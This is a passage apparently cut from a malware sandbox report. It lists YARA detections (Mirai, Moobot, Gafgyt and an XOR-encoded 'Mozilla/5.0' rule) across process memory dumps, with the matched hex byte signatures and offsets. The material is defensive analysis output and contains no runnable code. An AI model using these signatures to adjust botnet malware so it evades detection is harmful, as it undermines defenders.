2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7279.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6947.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7435.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7435.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7435.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7435.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7435.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7435.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6234.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6234.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6234.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6234.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6234.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6234.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6957.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6390.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7363.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7363.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7363.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7363.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7363.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7363.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6801.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7164.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6270.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6270.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6270.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6270.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6270.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6270.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7412.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7290.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7290.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7290.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7290.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7290.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7290.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6616.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7137.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
